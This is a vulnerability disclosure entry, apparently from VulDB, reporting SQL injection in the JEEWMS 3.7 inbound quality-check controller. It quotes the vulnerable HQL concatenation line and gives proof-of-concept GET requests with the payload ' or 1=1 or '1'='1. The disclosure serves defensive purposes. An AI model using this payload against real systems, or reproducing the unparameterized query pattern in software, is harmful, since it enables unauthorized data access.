| Título | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Descripción | JEEWMS v3.7 WmInQmIController (收货质检/inbound quality check PDA interface) concatenates user-supplied searchstr parameters directly into HQL queries without parameterization, allowing authenticated attackers to alter query logic and access all data records.
Vulnerable code (WmInQmIController.list, line 983):
hql = hql + " and (imNoticeId like '%" + searchstr + "%' or imCusCode like '%" + searchstr + "%' or tin_id like '%" + searchstr + "%' )";
A request with searchstr=' or 1=1 or '1'='1 returns ALL wm_in_qm_i rows instead of the filtered set (verified live: normal request with searchstr=IMP001 returns 1 record, injected request returns all 3 records in the response JSON "obj" array).
PoC:
GET /wmInQmIController.do?username=test&searchstr=' or 1=1 or '1'='1 -> all records returned in "obj"
GET /wmInQmIController.do?username=test&searchstr=IMP001 -> only matching record
Vulnerable code: src/main/java/com/zzjee/wm/controller/WmInQmIController.java:983 |
|---|
| Fuente | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| Usuario | HYap (UID 101011) |
|---|
| Sumisión | 2026-09-04 11:38 (hace 1 mes) |
|---|
| Moderación | 2026-10-11 10:01 (1 month later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 416558 [erzhongxmu JEEWMS hasta 2026.09.27-W39 Inbound Quality Check Pda Interface WmInQmIController.java WmInQmIController.list searchstr inyección SQL] |
|---|
| Puntos | 20 |
|---|